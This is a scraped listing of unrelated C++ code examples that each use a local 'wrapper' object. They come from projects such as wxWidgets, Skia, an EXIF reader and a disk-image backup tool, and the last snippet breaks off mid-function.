Ejemplo n.º 1
0
bool UserStreamWrapper::touch(const String& path,
                              int64_t mtime, int64_t atime) {
  auto file = newres<UserFile>(m_cls);
  Resource wrapper(file);
  return file->touch(path, mtime, atime);
}
Ejemplo n.º 2
0
void Worker::operator()(const boost::shared_ptr<Worker> &self)
{
    assert(this == self.get());

    {
        // Before entering the execution, check to see if we are canceled or
        // blocked.
        boost::mutex::scoped_lock lock(m_mutex);
        assert(m_state == STATE_QUEUED);
        if (m_cancel)
        {
            m_state = STATE_CANCELED;
            m_cancel = false;
            m_block = false;
            goto CANCELED;
        }
        if (m_block)
        {
            m_state = STATE_BLOCKED;
            m_block = false;
            return;
        }
        unsigned int hpp = m_scheduler.highestPendingWorkerPriority();
        if (hpp > m_priority)
        {
            m_state = STATE_QUEUED;
            m_scheduler.schedule(WorkerAdapter(self));
#ifdef SMYD_WORKER_UNIT_TEST
            printf("%s: Priority %u preempted by priority %u\n",
                   description(), m_priority, hpp);
#endif
            return;
        }
        m_state = STATE_RUNNING;
    }

    {
        ExecutionWrapper wrapper(self);
        m_bypassWrapper = false;
        {
            // After preparing for the execution but before entering the
            // execution, check to see if we are updated.
            boost::mutex::scoped_lock lock(m_mutex);
            assert(m_state == STATE_RUNNING);
            if (m_update)
            {
                m_update = false;
                updateInternally();
            }
        }

        // Enter the execution loop.  Check the external requests periodically.
        for (;;)
        {
            bool done = step();
            {
                boost::mutex::scoped_lock lock(m_mutex);
                assert(m_state == STATE_RUNNING);
                // Note that we should check to see if we are updated, done,
                // canceled, blocked or preempted, strictly in that order.
                if (m_update)
                {
                    m_update = false;
                    updateInternally();
                }
                else if (done)
                {
                    m_state = STATE_FINISHED;
                    m_cancel = false;
                    m_block = false;
                    goto FINISHED;
                }
                if (m_cancel)
                {
                    m_state = STATE_CANCELED;
                    m_cancel = false;
                    m_block = false;
                    cancelInternally();
                    goto CANCELED;
                }
                if (m_block)
                {
                    m_state = STATE_BLOCKED;
                    m_block = false;
                    m_bypassWrapper = true;
                    return;
                }
                unsigned int hpp = m_scheduler.highestPendingWorkerPriority();
                if (hpp > m_priority)
                {
                    // FIXME It is possible that multiple low priority workers
                    // are preempted by a higher priority.  But actually only
                    // one worker is needed.
                    m_state = STATE_QUEUED;
                    m_bypassWrapper = true;
                    m_scheduler.schedule(WorkerAdapter(self));
#ifdef SMYD_WORKER_UNIT_TEST
                    printf("%s: Priority %u preempted by priority %u\n",
                           description(), m_priority, hpp);
#endif
                    return;
                }
            }
        }
    }

FINISHED:
    m_finished(self);
    g_idle_add_full(G_PRIORITY_HIGH,
                    onFinishedInMainThread,
                    new boost::shared_ptr<Worker>(self),
                    NULL);
    return;

CANCELED:
    m_canceled(self);
    g_idle_add_full(G_PRIORITY_HIGH,
                    onCanceledInMainThread,
                    new boost::shared_ptr<Worker>(self),
                    NULL);
}
Ejemplo n.º 3
0
BMP_Status OLED::displayBMP(const uint8_t *pgm_addr, const int x, const int y) {
  _Progmem_wrapper wrapper(pgm_addr);
  return _displayBMP(wrapper, 0, 0, x, y);
}
Ejemplo n.º 4
0
wxSizer *wxDialogBase::CreateTextSizer(const wxString& message)
{
    wxTextSizerWrapper wrapper(this);

    return CreateTextSizer(message, wrapper);
}
Ejemplo n.º 5
0
bool SkMaskFilter::filterPath(const SkPath& devPath, const SkMatrix& matrix,
                              const SkRasterClip& clip, SkBounder* bounder,
                              SkBlitter* blitter, SkPaint::Style style) const {
    SkRect rects[2];
    int rectCount = 0;
    if (SkPaint::kFill_Style == style) {
        rectCount = countNestedRects(devPath, rects);
    }
    if (rectCount > 0) {
        NinePatch patch;

        patch.fMask.fImage = NULL;
        switch (this->filterRectsToNine(rects, rectCount, matrix,
                                        clip.getBounds(), &patch)) {
            case kFalse_FilterReturn:
                SkASSERT(NULL == patch.fMask.fImage);
                return false;

            case kTrue_FilterReturn:
                draw_nine(patch.fMask, patch.fOuterRect, patch.fCenter,
                          1 == rectCount, clip, bounder, blitter);
                SkMask::FreeImage(patch.fMask.fImage);
                return true;

            case kUnimplemented_FilterReturn:
                SkASSERT(NULL == patch.fMask.fImage);
                // fall through
                break;
        }
    }

    SkMask  srcM, dstM;

    if (!SkDraw::DrawToMask(devPath, &clip.getBounds(), this, &matrix, &srcM,
                            SkMask::kComputeBoundsAndRenderImage_CreateMode,
                            style)) {
        return false;
    }
    SkAutoMaskFreeImage autoSrc(srcM.fImage);

    if (!this->filterMask(&dstM, srcM, matrix, NULL)) {
        return false;
    }
    SkAutoMaskFreeImage autoDst(dstM.fImage);

    // if we get here, we need to (possibly) resolve the clip and blitter
    SkAAClipBlitterWrapper wrapper(clip, blitter);
    blitter = wrapper.getBlitter();

    SkRegion::Cliperator clipper(wrapper.getRgn(), dstM.fBounds);

    if (!clipper.done() && (bounder == NULL || bounder->doIRect(dstM.fBounds))) {
        const SkIRect& cr = clipper.rect();
        do {
            blitter->blitMask(dstM, cr);
            clipper.next();
        } while (!clipper.done());
    }

    return true;
}
Ejemplo n.º 6
0
  void CHttpThread::sendHttp(const CProtocol& protocol)
  {
    //LOG_PROTOCOL(protocol);
    QByteArray postData;
    // konwertuj protokol do postaci binarnej tablicy QByteArray
    if (!convertToBinary(postData, protocol)){
      // nieprawidlowy format protokolu
      LOG_ERROR("Sending protocol error. idPackage:", protocol.getIdPackage());
      DConnectionResult res(new CConnectionResult(protocol, EConnectionStatus::OUTPUT_PROTOCOL_FORMAT_ERROR));
      resultsQueue.push(res);
    }
    else
    {
      //convertToProtocolDebug(postData);

      uint16_t crc = NUtil::CCryptography::crc16(postData.constData(), postData.size());
      postData.replace(postData.size() - sizeof(crc), sizeof(crc), reinterpret_cast<char*>(&crc), sizeof(crc));

      // tworzy tymczasowa petle komunikatow
      QEventLoop eventLoop;

      // dla sygnalu QNetworkAccessManager::finished wywolaj QEventLoop::quit
      QNetworkAccessManager mgr;
      QObject::connect(&mgr, SIGNAL(finished(QNetworkReply*)), &eventLoop, SLOT(quit()));

      // HTTP
      const std::string url = NEngine::CConfigurationFactory::getInstance()->getServerUrl();
      QUrl qUrl(url.c_str());
      QNetworkRequest req(qUrl);
      // typ MIME
      req.setHeader(QNetworkRequest::ContentTypeHeader, QVariant("application/octet-stream"));
      // wyslij post'a
      std::shared_ptr<QNetworkReply> reply(mgr.post(req, postData));
      eventLoop.exec(); // czekaj QEventLoop::quit (czyli QNetworkAccessManager::finished)

      if (reply->error() == QNetworkReply::NoError) {
        //success
        LOG_DEBUG("Protocol has been sent successfully. idPackage:", protocol.getIdPackage());

        CByteWrapper wrapper(reply->readAll());
        // wyslanie potwierdzenia zmiany konfiguracji - jesli zmiana odbyla sie bez problemow nie zwraca danych
        if (wrapper.getSize() > 0)
        {
          if (!wrapper.isCRCValid())
          {
            LOG_ERROR("Received protocol error - CRC. idPackage:", protocol.getIdPackage());
            DConnectionResult res(new CConnectionResult(protocol, EConnectionStatus::CRC_ERROR));
            resultsQueue.push(res);

          }
          else
          {

            std::shared_ptr<CProtocol> responseProtocol =
                convertToProtocol(wrapper);
            // przekonwertuj do struktury
            if (!responseProtocol)
            {
              // blad struktury protokolu
              LOG_ERROR("Received protocol error. idPackage:", protocol.getIdPackage());
              DConnectionResult res(new CConnectionResult(protocol, EConnectionStatus::INPUT_PROTOCOL_FORMAT_ERROR));
              resultsQueue.push(res);
            }
            else
            {
              LOG_DEBUG("Protocol has been received successfully. idPackage:", responseProtocol->getIdPackage());
              DConnectionResult res(new CConnectionResult(protocol, responseProtocol, EConnectionStatus::NONE));
              resultsQueue.push(res);
            }
          }
        }

      }
      else {

        LOG_ERROR("Protocol sending error. idPackage:",
                  protocol.getIdPackage(), ". Error: ", reply->errorString().toStdString());
        DConnectionResult res(new CConnectionResult(protocol, EConnectionStatus::CONNECTION_ERROR));
        resultsQueue.push(res);
      }
    }
  }
Ejemplo n.º 7
0
void TextDrawer::WrapString(std::string &out, const char *str, float maxW) {
	TextDrawerWordWrapper wrapper(this, str, maxW);
	out = wrapper.Wrapped();
}
Ejemplo n.º 8
0
void OLED::drawString_P(int x, int y, const char *str, OLED_Colour foreground, OLED_Colour background)
{
  _FlashStringWrapper wrapper(str);
  _drawString(this, (void*)this->font, x, y, wrapper, foreground, background);
}
Ejemplo n.º 9
0
unsigned int OLED::stringWidth_P(const char *str)
{
  _FlashStringWrapper wrapper(str);
  return _stringWidth(this, (unsigned int*)this->font, wrapper);
}
Ejemplo n.º 10
0
void
testServiceRegistry::externalServiceTest()
{
   art::AssertHandler ah;

   {
      std::unique_ptr<DummyService> dummyPtr(new DummyService);
      dummyPtr->value_ = 2;
      art::ServiceToken token(art::ServiceRegistry::createContaining(dummyPtr));
      {
         art::ServiceRegistry::Operate operate(token);
         art::ServiceHandle<DummyService> dummy;
         CPPUNIT_ASSERT(dummy);
         CPPUNIT_ASSERT(dummy.isAvailable());
         CPPUNIT_ASSERT(dummy->value_ == 2);
      }
      {
         std::vector<fhicl::ParameterSet> pss;

         fhicl::ParameterSet ps;
         std::string typeName("DummyService");
         ps.addParameter("service_type", typeName);
         int value = 2;
         ps.addParameter("value", value);
         pss.push_back(ps);

         art::ServiceToken token(art::ServiceRegistry::createSet(pss));
         art::ServiceToken token2(art::ServiceRegistry::createContaining(dummyPtr,
                                                                         token,
                                                                         art::serviceregistry::kOverlapIsError));

         art::ServiceRegistry::Operate operate(token2);
         art::ServiceHandle<testserviceregistry::DummyService> dummy;
         CPPUNIT_ASSERT(dummy);
         CPPUNIT_ASSERT(dummy.isAvailable());
         CPPUNIT_ASSERT(dummy->value() == 2);
      }
   }

   {
      std::unique_ptr<DummyService> dummyPtr(new DummyService);
      std::shared_ptr<art::serviceregistry::ServiceWrapper<DummyService> >
          wrapper(new art::serviceregistry::ServiceWrapper<DummyService>(dummyPtr));
      art::ServiceToken token(art::ServiceRegistry::createContaining(wrapper));

      wrapper->get().value_ = 2;

      {
         art::ServiceRegistry::Operate operate(token);
         art::ServiceHandle<DummyService> dummy;
         CPPUNIT_ASSERT(dummy);
         CPPUNIT_ASSERT(dummy.isAvailable());
         CPPUNIT_ASSERT(dummy->value_ == 2);
      }
      {
         std::vector<fhicl::ParameterSet> pss;

         fhicl::ParameterSet ps;
         std::string typeName("DummyService");
         ps.addParameter("service_type", typeName);
         int value = 2;
         ps.addParameter("value", value);
         pss.push_back(ps);

         art::ServiceToken token(art::ServiceRegistry::createSet(pss));
         art::ServiceToken token2(art::ServiceRegistry::createContaining(dummyPtr,
                                                                         token,
                                                                         art::serviceregistry::kOverlapIsError));

         art::ServiceRegistry::Operate operate(token2);
         art::ServiceHandle<testserviceregistry::DummyService> dummy;
         CPPUNIT_ASSERT(dummy);
         CPPUNIT_ASSERT(dummy.isAvailable());
         CPPUNIT_ASSERT(dummy->value() == 2);
      }

   }
}
Ejemplo n.º 11
0
    wxRichToolTipPopup(wxWindow* parent,
                       const wxString& title,
                       const wxString& message,
                       const wxIcon& icon,
                       wxTipKind tipKind,
                       const wxFont& titleFont_) :
        m_timer(this)
    {
        Create(parent, wxFRAME_SHAPED);


        wxBoxSizer* const sizerTitle = new wxBoxSizer(wxHORIZONTAL);
        if ( icon.IsOk() )
        {
            sizerTitle->Add(new wxStaticBitmap(this, wxID_ANY, icon),
                            wxSizerFlags().Centre().Border(wxRIGHT));
        }
        //else: Simply don't show any icon.

        wxStaticText* const labelTitle = new wxStaticText(this, wxID_ANY, "");
        labelTitle->SetLabelText(title);

        wxFont titleFont(titleFont_);
        if ( !titleFont.IsOk() )
        {
            // Determine the appropriate title font for the current platform.
            titleFont = labelTitle->GetFont();

#ifdef __WXMSW__
            // When using themes MSW tooltips use larger bluish version of the
            // normal font.
            wxUxThemeEngine* const theme = GetTooltipTheme();
            if ( theme )
            {
                titleFont.MakeLarger();

                COLORREF c;
                if ( FAILED(theme->GetThemeColor
                                   (
                                        wxUxThemeHandle(parent, L"TOOLTIP"),
                                        TTP_BALLOONTITLE,
                                        0,
                                        TMT_TEXTCOLOR,
                                        &c
                                    )) )
                {
                    // Use the standard value of this colour as fallback.
                    c = 0x993300;
                }

                labelTitle->SetForegroundColour(wxRGBToColour(c));
            }
            else
#endif // __WXMSW__
            {
                // Everything else, including "classic" MSW look uses just the
                // bold version of the base font.
                titleFont.MakeBold();
            }
        }

        labelTitle->SetFont(titleFont);
        sizerTitle->Add(labelTitle, wxSizerFlags().Centre());

        wxBoxSizer* const sizerTop = new wxBoxSizer(wxVERTICAL);
        sizerTop->Add(sizerTitle,
                        wxSizerFlags().DoubleBorder(wxLEFT|wxRIGHT|wxTOP));

        // Use a spacer as we don't want to have a double border between the
        // elements, just a simple one will do.
        sizerTop->AddSpacer(wxSizerFlags::GetDefaultBorder());

        wxTextSizerWrapper wrapper(this);
        wxSizer* sizerText = wrapper.CreateSizer(message, -1 /* No wrapping */);

#ifdef __WXMSW__
        if ( icon.IsOk() && GetTooltipTheme() )
        {
            // Themed tooltips under MSW align the text with the title, not
            // with the icon, so use a helper horizontal sizer in this case.
            wxBoxSizer* const sizerTextIndent = new wxBoxSizer(wxHORIZONTAL);
            sizerTextIndent->AddSpacer(icon.GetWidth());
            sizerTextIndent->Add(sizerText,
                                    wxSizerFlags().Border(wxLEFT).Centre());

            sizerText = sizerTextIndent;
        }
#endif // !__WXMSW__
        sizerTop->Add(sizerText,
                        wxSizerFlags().DoubleBorder(wxLEFT|wxRIGHT|wxBOTTOM)
                                      .Centre());

        SetSizer(sizerTop);

        const int offsetY = SetTipShapeAndSize(tipKind, GetBestSize());
        if ( offsetY > 0 )
        {
            // Offset our contents by the tip height to make it appear in the
            // main rectangle.
            sizerTop->PrependSpacer(offsetY);
        }

        Layout();
    }
Ejemplo n.º 12
0
bool Cexif::DecodeExif(const char *filename, int Thumb)
{
	FileWrapper wrapper(filename, "r");
	FILE * hFile = wrapper.handle;
	if(!hFile) return false;

	m_exifinfo = new EXIFINFO;
	memset(m_exifinfo,0,sizeof(EXIFINFO));
	freeinfo = true;
	m_exifinfo->Thumnailstate = Thumb;

	m_szLastError[0]='\0';
	ExifImageWidth = MotorolaOrder = SectionsRead=0;
	memset(&Sections, 0, MAX_SECTIONS * sizeof(Section_t));

	int HaveCom = 0;
	int a = fgetc(hFile);
	strcpy(m_szLastError,"EXIF-Data not found");

	if (a != 0xff || fgetc(hFile) != M_SOI) return false;

	for(;;)
	{
		int marker = 0;
		int ll,lh, got, itemlen;
		unsigned char * Data;

		if (SectionsRead >= MAX_SECTIONS)
		{
			strcpy(m_szLastError,"Too many sections in jpg file"); return false;
		}

		for (a=0;a<7;a++)
		{
			marker = fgetc(hFile);
			if (marker != 0xff) break;

			if (a >= 6)
			{
				strcpy(m_szLastError,"too many padding unsigned chars\n"); return false;
			}
		}

		if (marker == 0xff)
		{
			strcpy(m_szLastError,"too many padding unsigned chars!"); return false;
		}

		Sections[SectionsRead].Type = marker;

		lh = fgetc(hFile);
		ll = fgetc(hFile);

		itemlen = (lh << 8) | ll;

		if (itemlen < 2)
		{
			strcpy(m_szLastError,"invalid marker"); return false;
		}
		Sections[SectionsRead].Size = itemlen;

		Data = (unsigned char *)malloc(itemlen);
		if (Data == NULL)
		{
			strcpy(m_szLastError,"Could not allocate memory"); return false;
		}
		Sections[SectionsRead].Data = Data;


		Data[0] = (unsigned char)lh;
		Data[1] = (unsigned char)ll;

		got = fread(Data+2, 1, itemlen-2,hFile);
		if (got != itemlen-2)
		{
			strcpy(m_szLastError,"Premature end of file?"); return false;
		}
		SectionsRead += 1;

		switch(marker)
		{
		case M_SOS:
			return true;
		case M_EOI:
			printf("No image in jpeg!\n");
			return false;
		case M_COM:
			if (HaveCom)
			{
				free(Sections[--SectionsRead].Data);
				Sections[SectionsRead].Data=0;
			}
			else
			{
				process_COM(Data, itemlen);
				HaveCom = 1;
			}
			break;
		case M_JFIF:
			free(Sections[--SectionsRead].Data);
			Sections[SectionsRead].Data=0;
			break;
		case M_EXIF:
			if (memcmp(Data+2, "Exif", 4) == 0)
			{
				m_exifinfo->IsExif = process_EXIF((unsigned char *)Data+2, itemlen);
			}
			else
			{
				free(Sections[--SectionsRead].Data);
				Sections[SectionsRead].Data=0;
			}
			break;
		case M_SOF0:
		case M_SOF1:
		case M_SOF2:
		case M_SOF3:
		case M_SOF5:
		case M_SOF6:
		case M_SOF7:
		case M_SOF9:
		case M_SOF10:
		case M_SOF11:
		case M_SOF13:
		case M_SOF14:
		case M_SOF15:
			process_SOFn(Data, marker);
			break;
		default:
			break;
		}
	}

	return true;
}
Ejemplo n.º 13
0
DLLEXPORT void LoadActions(IServer* pServer)
{
	Server=pServer;

	std::string compress_file = Server->getServerParameter("compress");
	if(!compress_file.empty())
	{
		IFile* in = Server->openFile(compress_file, MODE_READ_SEQUENTIAL);
		if(in==NULL)
		{
			Server->Log("Cannot open file \""+compress_file+"\" to compress", LL_ERROR);
			exit(1);
		}

		{
			Server->deleteFile(compress_file+".urz");
			CompressedFile compFile(compress_file+".urz", MODE_RW_CREATE);

			if(compFile.hasError())
			{
				Server->Log("Error opening compressed file", LL_ERROR);
				exit(3);
			}

			char buffer[32768];
			_u32 read;
			do 
			{
				read = in->Read(buffer, 32768);
				if(read>0)
				{
					if(compFile.Write(buffer, read)!=read)
					{
						Server->Log("Error writing to compressed file", LL_ERROR);
						exit(2);
					}
				}			
			} while (read>0);

			compFile.finish();
			delete in;
		}	

		exit(0);
	}

	std::string decompress = Server->getServerParameter("decompress");
	if(!decompress.empty())
	{
		bool selected_via_gui=false;
#ifdef _WIN32
		if(decompress=="SelectViaGUI")
		{
			std::string filter;
			filter += "Compressed image files (*.vhdz)";
			filter += '\0';
			filter += "*.vhdz";
			filter += '\0';
			filter += '\0';
			std::vector<std::string> res = file_via_dialog("Please select compressed image file to decompress",
				filter, false, true, "");
			if(!res.empty())
			{
				decompress = res[0];
			}
			else
			{
				decompress.clear();
			}
			

			if(decompress.empty())
			{
				exit(1);
			}
			else
			{
				selected_via_gui=true;
			}
		}
#endif

		std::string targetName = decompress;
		if(findextension(decompress)!="vhdz" && findextension(decompress)!="urz")
		{
			Server->Log("Unknown file extension: "+findextension(decompress), LL_ERROR);
			exit(1);
		}

		if(!Server->getServerParameter("output_fn").empty() && !selected_via_gui)
		{
			targetName = Server->getServerParameter("output_fn");
		}

		bool b = decompress_vhd(decompress, targetName);		

		exit(b?0:3);
	}

	std::string assemble = Server->getServerParameter("assemble");
	if(!assemble.empty())
	{
		bool selected_via_gui=false;
		std::vector<std::string> input_files;
		std::string output_file;
#ifdef _WIN32
		if(assemble=="SelectViaGUI")
		{
			std::string filter;
			filter += "Image files (*.vhdz;*.vhd)";
			filter += '\0';
			filter += "*.vhdz;*.vhd";
			filter += '\0';
			/*filter += L"Image files (*.vhd)";
			filter += '\0';
			filter += L"*.vhd";
			filter += '\0';*/
			filter += '\0';
			std::vector<std::string> new_input_files;
			do
			{
				new_input_files = file_via_dialog("Please select all the images to assemble into one image. Cancel once finished.",
					filter, true, true, "");
				input_files.insert(input_files.end(), new_input_files.begin(), new_input_files.end());
			} while (!new_input_files.empty());

			filter.clear();
			filter += "Image file (*.vhd)";
			filter += '\0';
			filter += "*.vhd";
			filter += '\0';
			filter += '\0';

			std::vector<std::string> output_files = file_via_dialog("Please select where to save the output image",
				filter, false, false, "vhd");

			if(!output_files.empty())
			{
				output_file = output_files[0];
			}			

			selected_via_gui=true;
		}
#endif

		if(!selected_via_gui)
		{
			Tokenize(assemble, input_files, ";");
			output_file = Server->getServerParameter("output_file");
		}

		if(input_files.empty())
		{
			Server->Log("No input files selected", LL_ERROR);
			exit(1);
		}

		if(output_file.empty())
		{
			Server->Log("No output file selected", LL_ERROR);
			exit(1);
		}

		bool b = assemble_vhd(input_files, output_file);		

		exit(b?0:3);
	}


	std::string devinfo=Server->getServerParameter("devinfo");

	if(!devinfo.empty())
	{
		FSNTFS ntfs("\\\\.\\"+devinfo+":", IFSImageFactory::EReadaheadMode_None, false, NULL);
	
		if(!ntfs.hasError())
		{
			Server->Log("Used Space: "+convert(ntfs.calculateUsedSpace())+" of "+convert(ntfs.getSize()));
			Server->Log(convert(((float)ntfs.calculateUsedSpace()/(float)ntfs.getSize())*100.0f)+" %");
		}
	}

	std::string vhdcopy_in=Server->getServerParameter("vhdcopy_in");
	if(!vhdcopy_in.empty())
	{
		Server->Log("VHDCopy.");
		VHDFile in(vhdcopy_in, true,0);
		if(in.isOpen()==false)
		{
			Server->Log("Error opening VHD-File \""+vhdcopy_in+"\"", LL_ERROR);
			exit(4);
		}

		uint64 vhdsize=in.getSize();
		float vhdsize_gb=(vhdsize/1024)/1024.f/1024.f;
		uint64 vhdsize_mb=vhdsize/1024/1024;
		Server->Log("VHD Info: Size: "+convert(vhdsize_gb)+" GB "+convert(vhdsize_mb)+" MB",LL_INFO);
		unsigned int vhd_blocksize=in.getBlocksize();
		
		std::string vhdcopy_out=Server->getServerParameter("vhdcopy_out");
		if(vhdcopy_out.empty())
		{
			Server->Log("'vhdcopy_out' not specified. Not copying.", LL_ERROR);
			exit(5);
		}
		else
		{
			IFile *out=Server->openFile(vhdcopy_out, MODE_RW);
			if(out==NULL)
			{
				Server->Log("Couldn't open output file", LL_ERROR);
				exit(6);
			}
			else
			{
				std::string skip_s=Server->getServerParameter("skip");
				int skip=1024*512;
				if(!skip_s.empty())
				{
					skip=atoi(skip_s.c_str());
				}
				else if (is_disk_mbr(vhdcopy_in + ".mbr"))
				{
					skip = 0;
				}

				Server->Log("Skipping "+convert(skip)+" bytes...", LL_INFO);
				in.Seek(skip);
				char buffer[4096];
				size_t read;
				int last_pc=0;
				int p_skip=0;
				uint64 currpos=skip;
				bool is_ok=true;

				out->Seek(0);
				while(currpos%vhd_blocksize!=0)
				{
					is_ok=in.Read(buffer, 512, read);
					if(read>0)
					{
						_u32 rc=out->Write(buffer, (_u32)read);
						if(rc!=read)
						{
							Server->Log("Writing to output file failed", LL_ERROR);
							exit(7);
						}
					}
					currpos+=read;
				}

				if(currpos!=skip)
				{
					Server->Log("First VHD sector at "+convert(currpos), LL_INFO);
				}

				do
				{
					if(in.has_sector())
					{
						is_ok=in.Read(buffer, 4096, read);
						if(read>0)
						{
							_u32 rc=out->Write(buffer, (_u32)read);
							if(rc!=read)
							{
								Server->Log("Writing to output file failed", LL_ERROR);
								exit(7);
							}
						}
						currpos+=read;
					}
					else
					{
						read=4096;
						currpos+=read;
						in.Seek(currpos);
						out->Seek(currpos-skip);
					}
					
					++p_skip;
					if(p_skip>100)
					{
						p_skip=0;
						int pc=(int)(((float)currpos/(float)vhdsize)*100.f+0.5f);
						if(pc!=last_pc)
						{
							Server->Log(convert(pc)+"%", LL_INFO);
							last_pc=pc;
						}
					}
				}
				while( read==4096 && is_ok );

				Server->destroy(out);
				Server->Log("Copy process finished successfully.", LL_INFO);
				exit(0);
			}
		}
	}
	
	std::string hashfilecomp_1=Server->getServerParameter("hashfilecomp_1");
	if(!hashfilecomp_1.empty())
	{
		IFile *hf1=Server->openFile(hashfilecomp_1, MODE_READ);
		IFile *hf2=Server->openFile(Server->getServerParameter("hashfilecomp_2"), MODE_READ);
		
		if(hf1==NULL || hf2==NULL )
		{
			Server->Log("Error opening hashfile", LL_ERROR);
		}
		else
		{
			size_t h_equal=0;
			size_t h_diff=0;
			_i64 fsize=hf1->Size();
			for(_i64 p=0;p<fsize;p+=32)
			{
				char buf1[32];
				hf1->Read(buf1, 32);
				char buf2[32];
				hf2->Read(buf2, 32);
				if( memcmp(buf1, buf2, 32)==0)
				{
					++h_equal;
				}
				else
				{
					++h_diff;
				}
			}
			
			std::cout << "Hashfile analysis: " << h_equal << " equal hashes; " << h_diff << " differences " << std::endl;
		}
		
		exit(5);
	}
	
	std::string vhdinfo=Server->getServerParameter("vhdinfo");
	if(!vhdinfo.empty())
	{
		std::cout << "--VHDINFO--" << std::endl;
		VHDFile in(vhdinfo, true,0);
		if(in.isOpen()==false)
		{
			Server->Log("Error opening VHD-File \""+vhdinfo+"\"", LL_ERROR);
			exit(4);
		}

		uint64 vhdsize=in.getSize();
		float vhdsize_gb=(vhdsize/1024)/1024.f/1024.f;
		uint64 vhdsize_mb=vhdsize/1024/1024;
		std::cout << ("VHD Info: Size: "+convert(vhdsize_gb)+" GB "+convert(vhdsize_mb)+" MB") << std::endl;
		std::cout << "Blocksize: " << in.getBlocksize() << " Bytes" << std::endl;
		
		uint64 new_blocks=0;
		uint64 total_blocks=0;
		unsigned int bs=in.getBlocksize();
		for(uint64 pos=0;pos<vhdsize;pos+=bs)
		{
			in.Seek(pos);
			if(in.this_has_sector())
			{
				++new_blocks;
			}
			++total_blocks;
		}
		
		std::cout << "Blocks: " << new_blocks << "/" << total_blocks << std::endl;
		exit(3);
	}

	std::string image_verify=Server->getServerParameter("image_verify");
	if(!image_verify.empty())
	{
		std::auto_ptr<IVHDFile> in(open_device_file(image_verify));

		if(in.get()==NULL || in->isOpen()==false)
		{
			Server->Log("Error opening Image-File \""+image_verify+"\"", LL_ERROR);
			exit(4);
		}

		std::string s_hashfile=Server->getServerParameter("hashfile");
		bool has_hashfile=true;
		if(s_hashfile.empty())
		{
			has_hashfile=false;
			s_hashfile=image_verify+".hash";
		}

		IFile *hashfile=Server->openFile(s_hashfile, MODE_READ);
		if(hashfile==NULL)
		{
			Server->Log("Error opening hashfile");
			exit(5);
		}

		bool verify_all = Server->getServerParameter("verify_all")=="true";
		
		if(verify_all)
		{
			Server->Log("Verifying empty blocks");
		}
		
		const int64 vhd_blocksize=(1024*1024)/2;
		int skip=1024*512;
		std::string s_verify_skip = Server->getServerParameter("verify_skip");
		if (!s_verify_skip.empty())
		{
			skip = watoi(s_verify_skip);
		}

		in->Seek(skip);
		uint64 currpos=skip;
		uint64 size=in->getSize();
		sha256_ctx ctx;
		sha256_init(&ctx);
		char buf[512];
		int diff=0;
		int diff_w=0;
		size_t ok_blocks=0;
		int last_pc=0;
		unsigned char dig_z[32];
		bool has_dig_z=false;
		for(;currpos<size;currpos+=vhd_blocksize)
		{
			in->Seek(currpos);
			bool has_sector=verify_all || in->this_has_sector(vhd_blocksize);

			if(!has_sector && !has_dig_z)
			{
				for(unsigned int i=0;i<vhd_blocksize;i+=512)
				{
					size_t read;
					in->Read(buf, 512, read);
					sha256_update(&ctx, (unsigned char*)buf, 512);
				}
				sha256_final(&ctx, dig_z);
				sha256_init(&ctx);
				has_dig_z=true;
			}
			unsigned char dig_r[32];
			unsigned char dig_f[32];

			if(has_sector)
			{
				for(unsigned int i=0;i<vhd_blocksize && currpos+i<size;i+=512)
				{
					size_t read;
					in->Read(buf, 512, read);
					sha256_update(&ctx, (unsigned char*)buf, 512);
				}
				
				_u32 dr=hashfile->Read((char*)dig_f, 32);
				if( dr!=32 )
				{
					Server->Log("Could not read hash from file", LL_ERROR);
				}
				sha256_final(&ctx, dig_r);
				sha256_init(&ctx);
			}
			else
			{
				hashfile->Read((char*)dig_f, 32);
				memcpy(dig_r, dig_z, 32);
			}

			if(memcmp(dig_r, dig_f, 32)!=0)
			{
				++diff;
				Server->Log("Different blocks: "+convert(diff)+" at pos "+convert(currpos)+" has_sector="+convert(has_sector));
			}
			else if(has_sector && has_hashfile)
			{
				++diff_w;
				Server->Log("Wrong difference: "+convert(diff_w)+" at pos "+convert(currpos));
			}
			else
			{
				++ok_blocks;
			}
		
			int pc=(int)((float)((float)currpos/(float)size)*100.f+0.5f);
			if(pc!=last_pc)
			{
				last_pc=pc;
				Server->Log("Checking hashfile: "+convert(pc)+"%");
			}
			
		}
		if(diff==0)
		{
			Server->Log("Hashfile does match");
		}
		Server->Log("Blocks with correct hash: "+convert(ok_blocks));
		Server->Log("Different blocks: "+convert(diff));
		Server->Log("Wrong differences: "+convert(diff_w));
		exit(diff==0?0:7);
	}

	std::string device_verify=Server->getServerParameter("device_verify");
	if(!device_verify.empty())
	{
		std::auto_ptr<IVHDFile> in(open_device_file(device_verify));

		if(in.get()==NULL || in->isOpen()==false)
		{
			Server->Log("Error opening Image-File \""+device_verify+"\"", LL_ERROR);
			exit(4);
		}

		int skip=1024*512;
		FileWrapper wrapper(in.get(), skip);
		FSNTFS fs(&wrapper, IFSImageFactory::EReadaheadMode_None, false, NULL);
		if(fs.hasError())
		{
			Server->Log("Error opening device file", LL_ERROR);
			exit(3);
		}

		PrintInfo(&fs);

		std::string s_hashfile=Server->getServerParameter("hash_file");
		if(s_hashfile.empty())
		{
			s_hashfile = device_verify+".hash";
		}

		IFile *hashfile=Server->openFile(s_hashfile, MODE_READ);
		if(hashfile==NULL)
		{
			Server->Log("Error opening hashfile "+s_hashfile);
			exit(7);
		}

		unsigned int ntfs_blocksize=(unsigned int)fs.getBlocksize();
		unsigned int vhd_sectorsize=(1024*1024)/2;

		uint64 currpos=0;
		uint64 size=fs.getSize();
		sha256_ctx ctx;
		sha256_init(&ctx);
		int diff=0;
		int last_pc=0;
		int mixed=0;
		std::vector<char> zerobuf;
		zerobuf.resize(ntfs_blocksize);
		memset(&zerobuf[0], 0, ntfs_blocksize);

		for(;currpos<size;currpos+=ntfs_blocksize)
		{
			bool has_block=fs.hasBlock(currpos/ntfs_blocksize);

			if(has_block)
			{
				fs_buffer buf(&fs, fs.readBlock(currpos/ntfs_blocksize));

				if(buf.get()==NULL)
				{
					Server->Log("Could not read block "+convert(currpos/ntfs_blocksize), LL_ERROR);
				}
				else
				{
					sha256_update(&ctx, (unsigned char*)buf.get(), ntfs_blocksize);
				}
				mixed = mixed | 1;
			}
			else
			{
				sha256_update(&ctx, (unsigned char*)&zerobuf[0], ntfs_blocksize);

				mixed = mixed | 2;
			}

			if( (currpos+ntfs_blocksize)%vhd_sectorsize==0 )
			{
				unsigned char dig_r[32];
				unsigned char dig_f[32];

				_u32 dr=hashfile->Read((char*)dig_f, 32);
				if( dr!=32 )
